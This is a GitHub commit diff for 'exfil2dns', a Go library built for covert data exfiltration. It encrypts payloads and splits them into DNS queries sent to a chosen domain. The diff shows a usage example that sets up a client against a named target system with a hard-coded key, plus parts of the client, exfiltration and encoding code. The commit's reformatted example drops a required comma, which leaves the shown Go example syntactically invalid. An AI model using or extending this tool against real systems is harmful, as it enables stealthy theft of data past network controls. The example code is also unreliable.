Skip to content

Commit fcaad7f

Browse files
committed
Update Documentation
1 parent 543868d commit fcaad7f

File tree

2 files changed

+15
-13
lines changed

2 files changed

+15
-13
lines changed

README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,8 @@ func main() {
2828
client, err := exfil2dns.NewClient(
2929
"cube",
3030
"example.domain",
31-
"ThisIsAKey1234", 23)
31+
"ThisIsAKey1234", 23
32+
)
3233

3334
if err != nil {
3435
log.Fatal("Error creating client: " + err.Error())

exfil2dns.go

Lines changed: 13 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -30,10 +30,11 @@
3030
//
3131
// func main() {
3232
// client, err := exfil2dns.NewClient(
33-
// "cube",
34-
// "example.domain",
35-
// "ThisIsAKey1234", 23)
36-
//
33+
// "cube",
34+
// "example.domain",
35+
// "ThisIsAKey1234", 23
36+
// )
37+
//
3738
// if err != nil {
3839
// log.Fatal("Error creating client: " + err.Error())
3940
// }
@@ -47,7 +48,7 @@
4748
package exfil2dns
4849

4950
/*
50-
* exfil2dns.go by Carson Seese. Created: 09/23/2019. Modified: 09/24/2019.
51+
* exfil2dns.go by Carson Seese. Created: 09/23/2019. Modified: 10/05/2019.
5152
* Data exfiltration using DNS queries.
5253
*/
5354

@@ -76,18 +77,17 @@ var (
7677
MaxQueryLength = 63
7778
)
7879

79-
8080
// Client contains the parameters to required to encrypt and deliver the
8181
// payload. Use NewClient() to initialize.
8282
type Client struct {
8383
target, domain, server, format string
84-
key [32]byte
85-
chunkSize int
84+
key [32]byte
85+
chunkSize int
8686
}
8787

8888
// NewClient initializes the Client
8989
// Target is the name of the target system. Domain is the domain to append to
90-
// the query string. Chunk size is the max number of payload bytes per message,
90+
// the query string. Chunk size is the max number of payload bytes per message,
9191
// must be <= 23.
9292
func NewClient(target, domain, password string, chunkSize int) (Client, error) {
9393
return NewDevClient(target, domain, password, "", chunkSize)
@@ -99,15 +99,15 @@ func NewDevClient(target, domain, password, server string, chunkSize int) (Clien
9999
if chunkSize > 23 {
100100
return Client{},
101101
fmt.Errorf(
102-
"chunk size %v larger than max chunk size of %v",
102+
"chunk size %v larger than max chunk size of %v",
103103
chunkSize, MaxChunk,
104104
)
105105
}
106106

107107
encodedT := b32.EncodeToString([]byte(target))
108108
if len(encodedT) > MaxQueryLength {
109109
return Client{}, fmt.Errorf(
110-
"target name %v longer than max length of %d",
110+
"target name %v longer than max length of %d",
111111
target, MaxQueryLength,
112112
)
113113
}
@@ -184,7 +184,8 @@ func (c *Client) Exfil(payload []byte) error {
184184
return nil
185185
}
186186

187-
// Encode takes a chunk of data, encrypts it, and returns a query
187+
// Encode takes a chunk of data, encrypts it, and returns a query. Chunks must
188+
// be < MaxChunk.
188189
func (c *Client) Encode(chunk []byte) (string, error) {
189190
if len(chunk) > c.chunkSize {
190191
return "", fmt.Errorf(

0 commit comments

Comments
 (0)